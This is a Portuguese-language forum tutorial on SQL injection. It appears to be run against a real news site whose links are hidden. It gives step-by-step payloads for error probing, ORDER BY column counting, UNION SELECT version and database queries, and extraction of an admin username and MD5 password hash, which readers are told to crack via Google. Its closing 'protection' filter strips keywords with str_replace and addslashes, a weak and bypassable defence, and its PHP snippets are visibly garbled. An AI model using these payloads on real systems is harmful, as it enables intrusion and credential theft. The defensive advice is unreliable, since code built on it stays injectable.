Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

SQL Injection

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tutorial SQL Injection

    Bom, este tutorial é uma introdução ao básico do SQL Injection

    SQL Injection
    [1] - Sobre o ataque
    [2] - Testando Vulnerabilidade
    [3] - O Ataque
    [4] - Obtendo Dados


    [1] - Sobre o ataque
    Primeiramente, antes de prosseguirmos, é recomendável que você tenha pelo menos noção da linguagem SQL para que possa entender os comandos e o que está sendo feito neste tutorial.Este tipo de ataque não depende da linguagem do script, e sim do Banco de dados, ela pode ser encontrada em sites feitos em ASP ou PHP, também não interessa o tipo de requests, se GET ou POST, basta ser manipulavel pelo cliente que está enviando.

    [2] - Testando
    O SQLi só é possível quando o site de retorna o erro do Mysql caso não seja possível realizar a consulta de dados, por exemplo, vamos pegar essa página web, que está vulneravel nessa ID "Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...".
    Abrindo-se esse link o site exibirá sua página normalmente, agora, para sabermos se está vulneravel, vamos adicionar uma aspa simples "'" ou "%27" no final da ID, ficaria assim:

    "index.php?id=21&id_noticias=347'" ou
    "index.php?id=21&id_noticias=347%27"

    TA-DA! O que aconteceu? o site retornou o seguinte erro, Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /usr/local/www/cocmatao/noticia1.php on line 7

    Sim!, isso quer dizer que este script está vulnerável a SQLi, no final deste tutorial, irei dar umas dicas para dificultar a ação de defacers em seus sites, mas por enquanto, vamos dar continuidade.
    Um exemplo de script que daria este tipo de erro é esse:

    Código PHP:
    <?php
    $id 
    $_GET['id'];
    $q "SELECT * FROM noticias WHERE id = '$id'";
    $r mysql_query($q) or die(mysql_error());
    ?>
    Como vimos acima, caso não seja possível enviar a consulta ao MySQL o script é
    interrompido exibindo a mensagem de erro da operação. Se eu entrar em Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... A query a ser enviada seria a seguinte:

    Código:
    SELECT * FROM noticias WHERE id_noticias = '347''
    A aspa inserida na URL iria modificar a sintaxe da consulta, então a função mysql_error()
    retornaria algo geralmente parecido com:
    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
    version for the right syntax to use near ''347''' at line 7


    É claro que o servidor pode emitir outros erros, desde que exiba algum erro já pode ter uma esperança hehe, no exemplo foi outro erro, mas da mesma natureza ;D

    [3] - O Ataque
    (NÃO IREI POSTAR AQUI PASSO A PASSO O ATAQUE NESTE SITE EM SÍ, DAQUI PARA FRENTE SERÃO SIMULAÇÕES ;D).
    O Próximo passo apos saber que o site está vulneravel é descobrir o número de colunas da tabela noticias, isso é possível utilizando a clausula "Order by"

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... order by 1/* Não deu erro
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... order by 2/* Não deu erro
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... order by 3/* Não deu erro
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... order by 4/*
    DEU ERRO! Unknown column '4' in 'order clause'

    * Query enviada
    Código:
    SELECT * FROM noticias WHERE id = '$id' order by 1/* Ignora o resto da query
    Claro, não vai ser em todos os sites que o numero de colunas vai dar 4, é só ir dando order by até descobrir, com base em nossos testes, o site alvo possui 4, então vamos trabalhar em cima disso (:

    [4] - Obtendo os dados
    Agora, vamos utilizar o operador UNION,por padrão, ele executa o equivalente a um SELECT DISTINCT no result set final. Em outras palavras, ele combina o resultado de execução.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,2,3--

    *Query Enviada
    Código:
    SELECT * FROM noticias WHERE id = '$id' union all select 1,2,3--
    Quando você injetar isso na URL, o site retornará um número, seja ele 1,2,3
    ou 4. Se o site mostrou 2 na tela, substituia o número 2 por @@version. Feito isso o site irá te mostrar a versão do banco de dados. outro exemplo, se colocarmos database() no lugar do 2, o site irá te mostrar o nome do banco de dados em que a tabela está.

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,@@version,3--
    5.2.30-gpl-log
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,database(),3--
    cocmatao //Supondo que o db seja cocmatao rsrs ;D

    Agora sim!, vem a parte que todos nós odiamos, você vai ter que chutar o nome das tabelas que você quer isso mesmo asuhsauh, ai você pode tentar users,admin,senhas,password,usuarios,xinforimpola. Existe uma outra técnica chamada MySQL Dump que existe nas versões do mysql superiores a 5.x, não vou utilizar esta técnica aqui, quem sabe num outro tutorial mais pra frente, mas nessa versão do db que estou usando como exemplo já seria possível, ela consiste em conseguir o nome das tabelas pelo information_schema, caso nem assim consiga, sugiro que desista ):

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,2,3 from users--
    Table 'cocmatao.users'doesn't exist
    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,2,3 from usuarios-- Não deu erro!

    Então, chegamos a conclusão de que existe uma tabela chamada usuarios que contem os dados de login e senha do site, agora outra parte ferrada descobrir a coluna em que estão esses dados ):

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,user,3 from usuarios-- Erro

    Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... union all select 1,concat_ws(0x3a,usuario,senha),3 from usuarios-- eeeeeebaaaaaa funcionou
    admin:e10adc3949ba59abbe56e057f20f883e

    OBS. A função concat_ws, é só para organizar mesmo, pois ela exibe o resultado com um separador ":" por exemplo usuario:senha.

    Agora, temos o usuario e a senha em hash MD5, não vem muito ao caso explicar como tirar a senha dessa hash "Google é meu pastor, nada me faltarás..." Nossa! Fiquei com medo, como me protejo disso? bom existem inúmeras maneiras, uma delas, seria criar uma funçãozinha simples para filtrar o conteudo das querys, como esta abaixo, ou desabilitar o display de erros do MySQL, entre outras, lembrando que essa não é a única falha que um site pode conter.

    Código PHP:
    function Filtrar($sql) { 
        
    $sql strip_tags($sql); // retirando tags php e html 
        
    $sql addslashes($sql);// acrescento uma barra
        
    $sql str_replace("SELECT","",$sql);// substituo a palavra slect por um valor nulo 
        
    $sql str_replace("FROM","",$sql); // substituo a palavra from por um valor nulo
        
    $sql str_replace("WHERE","",$sql); // substituo a palavra where por um valor nulo
        
    $sql str_replace("DELETE","",$sql); // substituo a palavra delete por um valor nulo
        
    $sql str_replace("DROP","",$sql); // substituo a palavra drop por um valor nulo
        
    $sql str_replace("DATABASE","",$sql); // substituo a palavra database por um valor nulo
        
    $sql str_replace("USE","",$sql); // substituo a palavra use por um valor nulo
        
    $sql str_replace("INSERT","",$sql); // substituo a palavra insert por um valor nulo
        
    $sql str_replace("UPDATE","",$sql);// substituo a palavra update por um valor nulo
        
    return $sql

    Similar Threads
X
Working...
X